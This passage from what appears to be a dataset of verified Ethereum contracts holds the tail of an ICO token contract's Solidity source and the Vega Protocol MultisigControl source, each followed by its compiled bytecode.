lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 5; return; } if (advisorAllocatedTime == 5) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 6; return; } revert(); } // Allocate reserved tokens function allocateReservedTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin { require(_amount > 0); require(_addr != address(0)); balances[_addr] = balances[_addr].add(_amount); totalReservedTokenAllocation = totalReservedTokenAllocation.sub(_amount); emit AllocateReservedTokens(_addr, _amount); } // Allocate sales tokens function allocateSalesTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin { require(_amount > 0); require(_addr != address(0)); balances[_addr] = balances[_addr].add(_amount); totalRemainingTokensForSales = totalRemainingTokensForSales.sub(_amount); emit AllocateSalesTokens(_addr, _amount); } // ERC20 standard function function allowance(address _owner, address _spender) external constant returns (uint256) { return allowed[_owner][_spender]; } // Issue tokens to normal investors through ICO rounds function issueTokensForICO(uint _state) private { uint256 price = icoStandardPrice; issueTokens(price, _state); } // Issue tokens to investors and transfer ether to wallet function issueTokens(uint256 _price, uint _state) private { require(walletAddress != address(0)); uint tokenAmount = msg.value.mul(_price).mul(10**18).div(1 ether); totalInvestedAmount = totalInvestedAmount.add(msg.value); walletAddress.transfer(msg.value); emit IssueTokens(msg.sender, msg.value, tokenAmount, _state); } // ERC20 standard function function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } // Get current sales state function getCurrentState() public view returns(uint256) { return saleState; } // Get softcap reaching status function isSoftCapReached() public view returns (bool) { return totalInvestedAmount >= minInvestedCap; } }
0x6060604052600436106102505763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146102c857806309522d7f14610352578063095ea7b3146103775780630f15f4c0146103ad5780631021688f146103c257806311823e04146103e157806318160ddd146103f45780632121dc75146104075780632272df671461041a578063230b1eb51461043957806323b872dd1461044c57806325b5160c146104745780632c8c892b1461048a578063313ce567146104ac5780633281c4e1146104bf578063378aa701146104d2578063396d1ddf146104e55780633a22a593146104f85780633a7644621461050b5780633aee69bb1461051e57806346bb28331461053d5780634f2484091461056c5780635185b7241461057f5780636175adee146105a157806363db30e8146105b45780636ad5b3ea146105c757806370a08231146105da5780637904586e146105f95780637e1055b6146106185780637fa8c1581461062b57806380d32f851461063e578063824338bd146106515780638da5cb5b1461066457806395d89b411461067757806396d4d0911461068a57806398b9a2dc1461069d578063a6f9dae1146106bc578063a7c3d71b146106db578063a9059cbb146106ee578063aaff2a8314610710578063be5f3d1214610723578063cbf2183714610736578063d128fc2014610749578063d8ee796f1461075c578063dccbfa2a1461076f578063dd62ed3e14610782578063f97a02fa146107a7578063fc6f9468146107ba578063ff895a62146107cd575b600c5460009060ff161561026357600080fd5b600c5460ff61010090910416151560011461027d57600080fd5b6102856107e0565b90506001811461029457600080fd5b67016345785d8a00003410156102a957600080fd5b60018114156102c0576102bb816107e6565b6102c5565b600080fd5b50005b34156102d357600080fd5b6102db6107f7565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156103175780820151838201526020016102ff565b50505050905090810190601f1680156103445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561035d57600080fd5b61036561082e565b60405190815260200160405180910390f35b341561038257600080fd5b610399600160a060020a036004351660243561083d565b604051901515815260200160405180910390f35b34156103b857600080fd5b6103c06108e5565b005b34156103cd57600080fd5b6103c0600160a060020a036004351661090c565b34156103ec57600080fd5b610365610986565b34156103ff57600080fd5b610365610995565b341561041257600080fd5b6103996109a4565b341561042557600080fd5b6103c0600160a060020a03600435166109b3565b341561044457600080fd5b610365610a48565b341561045757600080fd5b610399600160a060020a0360043581169060243516604435610a4e565b341561047f57600080fd5b610399600435610bb5565b341561049557600080fd5b6103c0600160a060020a0360043516602435610c39565b34156104b757600080fd5b610365610d41565b34156104ca57600080fd5b610365610d46565b34156104dd57600080fd5b6103656107e0565b34156104f057600080fd5b610365610d55565b341561050357600080fd5b610365610d5b565b341561051657600080fd5b6103c0610d61565b341561052957600080fd5b6103c0600160a060020a0360043516610d9f565b341561054857600080fd5b610550610e34565b604051600160a060020a03909116815260200160405180910390f35b341561057757600080fd5b610399610e43565b341561058a57600080fd5b6103c0600160a060020a0360043516602435610ee8565b34156105ac57600080fd5b610365610ff0565b34156105bf57600080fd5b610365610ff6565b34156105d257600080fd5b610550611002565b34156105e557600080fd5b610365600160a060020a0360043516611011565b341561060457600080fd5b610365600160a060020a036004351661102c565b341561062357600080fd5b61036561103e565b341561063657600080fd5b610399611044565b341561064957600080fd5b6103996110e0565b341561065c57600080fd5b6103656110f4565b341561066f57600080fd5b610550611103565b341561068257600080fd5b6102db611112565b341561069557600080fd5b610550611149565b34156106a857600080fd5b6103c0600160a060020a0360043516611158565b34156106c757600080fd5b6103c0600160a060020a03600435166111d2565b34156106e657600080fd5b610365611231565b34156106f957600080fd5b610399600160a060020a0360043516602435611237565b341561071b57600080fd5b610365611335565b341561072e57600080fd5b6103c061133b565b341561074157600080fd5b6103996117b3565b341561075457600080fd5b6103c06117c1565b341561076757600080fd5b6103656119f4565b341561077a57600080fd5b6103656119fa565b341561078d57600080fd5b610365600160a060020a0360043581169060243516611a08565b34156107b257600080fd5b610399611a33565b34156107c557600080fd5b610550611a3c565b34156107d857600080fd5b6103c0611a4b565b60085490565b600f546107f38183611a75565b5050565b60408051908101604052600b81527f45585452414445434f494e000000000000000000000000000000000000000000602082015281565b6a33b2e3c9fd0803ce80000081565b600c5460009062010000900460ff16151560011461085a57600080fd5b600160a060020a038316151561086f57600080fd5b6000821161087c57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a0390811691161461090057600080fd5b600c805460ff19169055565b60005433600160a060020a0390811691161461092757600080fd5b600160a060020a038116151561093c57600080fd5b600354600160a060020a038281169116141561095757600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6a14adf4b7320334b900000081565b6acecb8f27f4200f3a00000081565b600c5462010000900460ff1681565b60005433600160a060020a03908116911614806109de575060035433600160a060020a039081169116145b15156109e957600080fd5b600160a060020a03811615156109fe57600080fd5b600554600160a060020a0382811691161415610a1957600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60125481565b600c5460009062010000900460ff161515600114610a6b57600080fd5b600160a060020a0383161515610a8057600080fd5b600160a060020a0384161515610a9557600080fd5b60008211610aa257600080fd5b600160a060020a038416600090815260016020526040902054610acb908363ffffffff611b7a16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610b00908363ffffffff611b8c16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610b48908363ffffffff611b7a16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000805433600160a060020a0390811691161480610be1575060035433600160a060020a039081169116145b1515610bec57600080fd5b60008211610bf957600080fd5b600f8290557f1c1b18768492f25670993e4eaf1a7d17a8abe51d71b27bc5c1255e40d2d506a88260405190815260200160405180910390a1506001919050565b600c5460ff1615610c4957600080fd5b60005433600160a060020a0390811691161480610c74575060035433600160a060020a039081169116145b1515610c7f57600080fd5b60008111610c8c57600080fd5b600160a060020a0382161515610ca157600080fd5b600160a060020a038216600090815260016020526040902054610cca908263ffffffff611b8c16565b600160a060020a038316600090815260016020526040902055601054610cf6908263ffffffff611b7a16565b6010557f5a0785f58719bca05bb9d76730d322e101b6c7c8bcc6da140a409947b003bbe78282604051600160a060020a03909216825260208201526040908101905180910390a15050565b601281565b6a6765c793fa10079d00000081565b60115481565b600e5481565b600c5460ff1615610d7157600080fd5b60005433600160a060020a03908116911614610d8c57600080fd5b600c805462ff0000191662010000179055565b60005433600160a060020a0390811691161480610dca575060035433600160a060020a039081169116145b1515610dd557600080fd5b600160a060020a0381161515610dea57600080fd5b600654600160a060020a0382811691161415610e0557600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b600c5460009060ff1615610e5657600080fd5b60005433600160a060020a0390811691161480610e81575060035433600160a060020a039081169116145b1515610e8c57600080fd5b600b5415610e9957600080fd5b60026008819055600c805461ff001916905542600b557fe4aa5e3f9012723c200a69efdcca855ae09af7d70992cc420cce249fee0e09999060405190815260200160405180910390a150600190565b600c5460ff1615610ef857600080fd5b60005433600160a060020a0390811691161480610f23575060035433600160a060020a039081169116145b1515610f2e57600080fd5b60008111610f3b57600080fd5b600160a060020a0382161515610f5057600080fd5b600160a060020a038216600090815260016020526040902054610f79908263ffffffff611b8c16565b600160a060020a038316600090815260016020526040902055601254610fa5908263ffffffff611b7a16565b6012557f47a75aa311e7576c9a07da850c14f42ffe2864978d7f025084839a75bdcbdac68282604051600160a060020a03909216825260208201526040908101905180910390a15050565b600f5481565b67016345785d8a000081565b600454600160a060020a031681565b600160a060020a031660009081526001602052604090205490565b60076020526000908152604090205481565b600b5481565b600c5460009060ff161561105757600080fd5b60005433600160a060020a0390811691161480611082575060035433600160a060020a039081169116145b151561108d57600080fd5b6001600881905542600a55600c805461ff0019166101001790557f87fcd7085eaabc2418e6a12ac5497cf18368bf4ad51215e24fd4782fa0c0ba579060405190815260200160405180910390a150600190565b60095469014542ba12a337c0000090101590565b6a1f04ef12cb04cf1580000081565b600054600160a060020a031681565b60408051908101604052600381527f4554450000000000000000000000000000000000000000000000000000000000602082015281565b600654600160a060020a031681565b60005433600160a060020a0390811691161461117357600080fd5b600160a060020a038116151561118857600080fd5b600454600160a060020a03828116911614156111a357600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146111ed57600080fd5b600160a060020a038116151561120257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a5481565b600c5460009062010000900460ff16151560011461125457600080fd5b600160a060020a038316151561126957600080fd5b6000821161127657600080fd5b600160a060020a03331660009081526001602052604090205461129f908363ffffffff611b7a16565b600160a060020a0333811660009081526001602052604080822093909355908516815220546112d4908363ffffffff611b8c16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60105481565b600c5460009060ff161561134e57600080fd5b60005433600160a060020a0390811691161480611379575060035433600160a060020a039081169116145b151561138457600080fd5b60085460021461139357600080fd5b600654600160a060020a031615156113aa57600080fd5b600e54600114156114775750600654600160a060020a03166000908152600160205260409020546a0a56fa5b99019a5c800000906113e89082611b8c565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600d547fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16002600d556117b0565b600e546002141561154757600b546301e133800142101561149757600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906114ca9082611b8c565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611be9833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16003600e556117b0565b600e546003141561161657600b546276a7000142101561156657600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906115999082611b8c565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611be9833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16004600e556117b0565b600e54600414156116e557600b546276a7000142101561163557600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906116689082611b8c565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611be9833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16005600e556117b0565b600e54600514156102c057600b546276a7000142101561170457600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906117379082611b8c565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611be9833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16006600e555b50565b600c54610100900460ff1681565b600c5460009060ff16156117d457600080fd5b60005433600160a060020a03908116911614806117ff575060035433600160a060020a039081169116145b151561180a57600080fd5b60085460021461181957600080fd5b600554600160a060020a0316151561183057600080fd5b600d546001141561191257600b546305a39a800142101561185057600080fd5b50600554600160a060020a03166000908152600160205260409020546a0f8277896582678ac00000906118839082611b8c565b60058054600160a060020a0390811660009081526001602052604090819020939093559054600d547fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16002600d556117b0565b600d54600214156102c057600b546301e133800142101561193257600080fd5b50600554600160a060020a03166000908152600160205260409020546a0f8277896582678ac00000906119659082611b8c565b60058054600160a060020a0390811660009081526001602052604090819020939093559054600d547fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16003600d556117b0565b600d5481565b69014542ba12a337c0000081565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600c5460ff1681565b600354600160a060020a031681565b60005433600160a060020a03908116911614611a6657600080fd5b600c805460ff19166001179055565b600454600090600160a060020a03161515611a8f57600080fd5b611ac7670de0b6b3a7640000611abb81611aaf348863ffffffff611ba616565b9063ffffffff611ba616565b9063ffffffff611bd116565b600954909150611add903463ffffffff611b8c16565b600955600454600160a060020a03163480156108fc0290604051600060405180830381858888f193505050501515611b1457600080fd5b7f540c6de47939116ec4410c0212b0ac3a69886bf8f558dc04fb1360f6ebfea89b333483856040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a1505050565b600082821115611b8657fe5b50900390565b600082820183811015611b9b57fe5b8091505b5092915050565b600080831515611bb95760009150611b9f565b50828202828482811515611bc957fe5b0414611b9b57fe5b6000808284811515611bdf57fe5b04949350505050560009e327415b03a4b8be9b82b38e073bc05b5f26dcc5cd52a38f51614ce6ca2391a165627a7a723058207c521aa4fe0ab789a1317a37b5ca91fc33239a23443670991a0959958591363c0029
{"success": true, "error": null, "results": {}}
3,660
0x164D322B2377C0fdDB73Cd32f24e972A7d9C72F9
/** *Submitted for verification at Etherscan.io on 2021-11-07 */ // File: contracts/IMultisigControl.sol //SPDX-License-Identifier: MIT pragma solidity 0.8.8; /// @title MultisigControl Interface /// @author Vega Protocol /// @notice Implementations of this interface are used by the Vega network to control smart contracts without the need for Vega to have any Ethereum of its own. /// @notice To do this, the Vega validators sign a MultisigControl order to construct a signature bundle. Any interested party can then take that signature bundle and pay the gas to run the command on Ethereum abstract contract IMultisigControl { /***************************EVENTS****************************/ event SignerAdded(address new_signer, uint256 nonce); event SignerRemoved(address old_signer, uint256 nonce); event ThresholdSet(uint16 new_threshold, uint256 nonce); /**************************FUNCTIONS*********************/ /// @notice Sets threshold of signatures that must be met before function is executed. /// @param new_threshold New threshold value /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000 /// @notice signatures are OK if they are >= threshold count of total valid signers /// @dev MUST emit ThresholdSet event function set_threshold(uint16 new_threshold, uint nonce, bytes calldata signatures) public virtual; /// @notice Adds new valid signer and adjusts signer count. /// @param new_signer New signer address /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev MUST emit 'SignerAdded' event function add_signer(address new_signer, uint nonce, bytes calldata signatures) public virtual; /// @notice Removes currently valid signer and adjusts signer count. /// @param old_signer Address of signer to be removed. /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev MUST emit 'SignerRemoved' event function remove_signer(address old_signer, uint nonce, bytes calldata signatures) public virtual; /// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met, /// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network /// @notice message to hash to sign follows this pattern: /// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address); /// @notice Note that validating_contract_or_submitter_address is the the submitting party. If on MultisigControl contract itself, it's the submitting ETH address /// @notice if function on bridge that then calls Multisig, then it's the address of that contract /// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to /// @return MUST return true if valid signatures are over the threshold function verify_signatures(bytes calldata signatures, bytes memory message, uint nonce) public virtual returns(bool); /**********************VIEWS*********************/ /// @return Number of valid signers function get_valid_signer_count() public virtual view returns(uint8); /// @return Current threshold function get_current_threshold() public virtual view returns(uint16); /// @param signer_address target potential signer address /// @return true if address provided is valid signer function is_valid_signer(address signer_address) public virtual view returns(bool); /// @param nonce Nonce to lookup /// @return true if nonce has been used function is_nonce_used(uint nonce) public virtual view returns(bool); } /** MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................DDD MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/ // File: contracts/MultisigControl.sol /// @title MultisigControl /// @author Vega Protocol /// @notice This contract enables validators, through a multisignature process, to run functions on contracts by consensus contract MultisigControl is IMultisigControl { constructor () { // set initial threshold to 50% threshold = 500; signers[msg.sender] = true; signer_count++; emit SignerAdded(msg.sender, 0); } uint16 threshold; uint8 signer_count; mapping(address => bool) signers; mapping(uint => bool) used_nonces; mapping(bytes32 => mapping(address => bool)) has_signed; /**************************FUNCTIONS*********************/ /// @notice Sets threshold of signatures that must be met before function is executed. /// @param new_threshold New threshold value /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000 /// @notice signatures are OK if they are >= threshold count of total valid signers /// @dev Emits ThresholdSet event function set_threshold(uint16 new_threshold, uint256 nonce, bytes calldata signatures) public override{ require(new_threshold <= 1000 && new_threshold > 0, "new threshold outside range"); bytes memory message = abi.encode(new_threshold, nonce, "set_threshold"); require(verify_signatures(signatures, message, nonce), "bad signatures"); threshold = new_threshold; emit ThresholdSet(new_threshold, nonce); } /// @notice Adds new valid signer and adjusts signer count. /// @param new_signer New signer address /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev Emits 'SignerAdded' event function add_signer(address new_signer, uint256 nonce, bytes calldata signatures) public override{ bytes memory message = abi.encode(new_signer, nonce, "add_signer"); require(!signers[new_signer], "signer already exists"); require(verify_signatures(signatures, message, nonce), "bad signatures"); signers[new_signer] = true; signer_count++; emit SignerAdded(new_signer, nonce); } /// @notice Removes currently valid signer and adjusts signer count. /// @param old_signer Address of signer to be removed. /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev Emits 'SignerRemoved' event function remove_signer(address old_signer, uint256 nonce, bytes calldata signatures) public override { bytes memory message = abi.encode(old_signer, nonce, "remove_signer"); require(signers[old_signer], "signer doesn't exist"); require(verify_signatures(signatures, message, nonce), "bad signatures"); signers[old_signer] = false; signer_count--; emit SignerRemoved(old_signer, nonce); } /// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met, /// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network /// @notice message to hash to sign follows this pattern: /// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address); /// @notice Note that validating_contract_or_submitter_address is the submitting party. If on MultisigControl contract itself, it's the submitting ETH address /// @notice if function on bridge that then calls Multisig, then it's the address of that contract /// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to /// @return Returns true if valid signatures are over the threshold function verify_signatures(bytes calldata signatures, bytes memory message, uint256 nonce) public override returns(bool) { require(signatures.length % 65 == 0, "bad sig length"); require(!used_nonces[nonce], "nonce already used"); uint8 sig_count = 0; bytes32 message_hash = keccak256(abi.encode(message, msg.sender)); for(uint256 msg_idx = 0; msg_idx < signatures.length; msg_idx+= 65){ //recover address from that msg bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := calldataload(add(signatures.offset,msg_idx)) // second 32 bytes s := calldataload(add(add(signatures.offset,msg_idx), 32)) // final byte (first byte of the next 32 bytes) v := byte(0, calldataload(add(add(signatures.offset,msg_idx), 64))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "Mallable signature error"); if (v < 27) v += 27; address recovered_address = ecrecover(message_hash, v, r, s); if(signers[recovered_address] && !has_signed[message_hash][recovered_address]){ has_signed[message_hash][recovered_address] = true; sig_count++; } } used_nonces[nonce] = true; return ((uint256(sig_count) * 1000) / (uint256(signer_count))) > threshold; } /// @return Number of valid signers function get_valid_signer_count() public override view returns(uint8){ return signer_count; } /// @return Current threshold function get_current_threshold() public override view returns(uint16) { return threshold; } /// @param signer_address target potential signer address /// @return true if address provided is valid signer function is_valid_signer(address signer_address) public override view returns(bool){ return signers[signer_address]; } /// @param nonce Nonce to lookup /// @return true if nonce has been used function is_nonce_used(uint256 nonce) public override view returns(bool){ return used_nonces[nonce]; } } /** MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................DDD MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/
0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063b04e3dd11161005b578063b04e3dd114610125578063ba73659a14610143578063dbe528df14610173578063f8e3a6601461019157610088565b806350ac8df81461008d5780635b9fe26b146100a95780635f061559146100d957806398c5f73e14610109575b600080fd5b6100a760048036038101906100a29190610bac565b6101ad565b005b6100c360048036038101906100be9190610c20565b6102d3565b6040516100d09190610c68565b60405180910390f35b6100f360048036038101906100ee9190610ce1565b6102fd565b6040516101009190610c68565b60405180910390f35b610123600480360381019061011e9190610d0e565b610353565b005b61012d610520565b60405161013a9190610d9e565b60405180910390f35b61015d60048036038101906101589190610efa565b610536565b60405161016a9190610c68565b60405180910390f35b61017b6108df565b6040516101889190610f99565b60405180910390f35b6101ab60048036038101906101a69190610d0e565b6108f6565b005b6103e88461ffff16111580156101c7575060008461ffff16115b610206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101fd90611011565b60405180910390fd5b6000848460405160200161021b92919061108c565b604051602081830303815290604052905061023883838387610536565b610277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026e90611114565b60405180910390fd5b846000806101000a81548161ffff021916908361ffff1602179055507ff6d24c23627520a3b70e5dc66aa1249844b4bb407c2c153d9000a2b14a1e3c1185856040516102c4929190611134565b60405180910390a15050505050565b60006002600083815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600084846040516020016103689291906111b8565b6040516020818303038152906040529050600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103fc90611240565b60405180910390fd5b61041183838387610536565b610450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044790611114565b60405180910390fd5b6000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600281819054906101000a900460ff16809291906104c79061128f565b91906101000a81548160ff021916908360ff160217905550507f99c1d2c0ed8107e4db2e5dbfb10a2549cd2a63cbe39cf99d2adffbcd0395441885856040516105119291906112b9565b60405180910390a15050505050565b60008060029054906101000a900460ff16905090565b6000806041868690506105499190611311565b146105895760